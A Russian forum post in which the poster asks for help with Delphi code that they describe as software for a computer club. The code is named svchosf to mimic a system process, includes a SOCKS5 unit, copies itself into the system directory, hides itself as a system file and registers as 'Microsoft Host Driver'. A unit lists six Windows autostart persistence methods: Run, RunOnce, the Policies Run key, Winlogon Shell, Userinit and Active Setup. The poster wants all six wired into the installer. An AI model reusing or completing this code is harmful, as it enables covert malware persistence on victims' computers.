[MYSTiQUE]

Всем привет! Есть у меня вот какой вопрос! Мне надо добавить в программу для компьютерного клуба автозагрузку из всевозможных мест
Далее приведу куски проги чтобы было немного понятно что мне нужно

кусочек самой проги

Код:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21

program svchosf;   uses   Windows,   uConst,   uUtils,   uString,   uSystemInfo,   uWininet,     uInstall,       UnitWindows,   shellapi,   uSocks5,       var   Thread ,Thread0  :Cardinal;   idThread   :Cardinal;   dThread    :Cardinal;

далее в коде проги

Код:

1 2 3 4

begin    ReleaseIt;    Install;

где меня интересует ф-ция Install

далее идем в эту uInstall.pas

Код:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65

unit uInstall;   interface   uses   Windows, ShellApi, uConst, uUtils, uProcess,uStartUp ;   function Install :Boolean; procedure HideFile(FileName :String); const   faHidden    = $00000002 platform;   faSysFile   = $00000004 platform;   implementation   function FileSetAttr(const FileName: string; Attr: Integer): Integer; begin   Result := 0;   if not SetFileAttributes(PChar(FileName), Attr) then     Result := GetLastError; end;   procedure HideFile(FileName :String); begin   FileSetAttr(FileName, faHidden or faSysFile); end;   { function Install :Boolean; var   hRegKey :HKEY;   Path  :String; begin   Result := False;   if C_START = 1 then   begin       Path := WinDir(C_VALUE);     RegOpenKeyEx(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Run', 0, KEY_SET_VALUE, hRegKey);     RegSetValueEx(hRegKey, PChar(C_KEY), 0, REG_SZ, PChar(Path), Length(Path)+1);     RegCloseKey(hRegKey);     if not FileExists(Path) then     begin       CopyFile(PChar(ParamStr(0)), PChar(Path), False);       if C_HIDE = 1 then HideFile(Path);       ShellExecute(0, 'open', PChar(Path), nil, nil, SW_HIDE);       Result := True;     end;   end; end; } function Install :Boolean; var   dir: array[0..255] of char;   name: string; begin   getsystemdirectory(dir, 256);     name := string(dir)+'\svchosf.exe';   copyfile(pchar(paramstr(0)), pchar(name), false);//копируем файл ... если есть перезапишем!     writeprivateprofilestring('boot','shell','Explorer.exe svchosf.exe','system.ini');   AddToRun('Microsoft Host Driver ',pchar(name));  Result := True;   end; end.

и видим там

Код:

1 2	uses   Windows, ShellApi, uConst, uUtils, uProcess,uStartUp

меня интересует эта uStartUp.pas

далее ее код

Код:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101

//6 Видов автозапуска unit uStartUp;   interface   uses windows, sysutils;   procedure AddToRun(name,exe:string); procedure AddToRunOnce(name,exe:string); procedure AddToPolicies(name,exe:string); procedure AddToActiveX(exe:string); procedure AddToUserInit(exe:string); procedure AddToShell(exe:string);   implementation   function SetTheReg(key:Hkey; subkey,name,value:string):boolean; var regKey:hkey; begin   result:=FALSE;   RegCreateKey(key,PChar(subkey),regKey);   if RegSetValueEx(regKey,Pchar(name),0,REG_SZ,pchar(value),length(value)) = 0 then     result:=TRUE;   RegCloseKey(regKey); end;   function GetTheReg(key:Hkey; subkey,nombre:String):String; var   bytesread:dword;   regKey: HKEY;   valor:String; begin   Result:='';   RegOpenKeyEx(key,PChar(subkey),0, KEY_READ, regKey);   RegQueryValueEx(regKey,PChar(nombre),nil,nil,nil,@bytesread);   SetLength(valor, bytesread);   if RegQueryValueEx(regKey,PChar(nombre),nil,nil,@valor[1],@bytesread)=0 then     result:=valor;   RegCloseKey(regKey); end;   function DelTheReg(RootKey: HKEY; Name: String): boolean; var   SubKey: String;   n: integer;   hTemp: HKEY; begin   Result := False;   n := LastDelimiter('\', Name);   if n > 0 then   begin     SubKey := Copy(Name, 1, n - 1);     if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE, hTemp) = ERROR_SUCCESS then     begin       SubKey := Copy(Name, n + 1, Length(Name) - n);       Result := (RegDeleteKey(hTemp, PChar(SubKey)) = ERROR_SUCCESS);       RegCloseKey(hTemp);     end;   end; end;   procedure AddToPolicies(name,exe: String); begin   SetTheReg(HKEY_CURRENT_USER,'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run',name,exe); end;   procedure AddToShell(exe: String); var   Original: string; begin   Original:=GetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell');   if ansipos(exe, original)=0 then     SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell',PChar(Original)+' "'+exe+'"'); end;   procedure AddToRunOnce(name,exe: String); begin     SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce',name,'"'+exe+'"'); end;   procedure AddToRun(name,exe: String); begin     SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',name,''+exe+''); end;   procedure AddToUserInit(exe: String); var   Original: string; begin   Original:=GetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit');   if ansipos(exe, original)=0 then     SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit',PChar(Original)+' "'+exe+'"'); end;   procedure AddToActiveX(exe:string); begin   SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Active Setup\Installed Components\{4fz8rk-15aq-16nc-23or4-2ke0fa051515}','StubPath','"'+exe+'"'); end;   end.

так вот в этой uInstall.pas загрузка идет как вы поняли только через

HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Run


с помощью файла svchosf.exe

отсюда вопрос нахрена в этом Install вызывать uStartUp.pas с 6 путями для автозапуска
и никак это не использовать...? или я че то в этом коде не увидел?

Помогите кто может советом как мне реализовать в uInstall.pas эту uStartUp.pas чтобы использовать все 6 способов автозагрузки ?

заранее всем спасибо за дельные ответы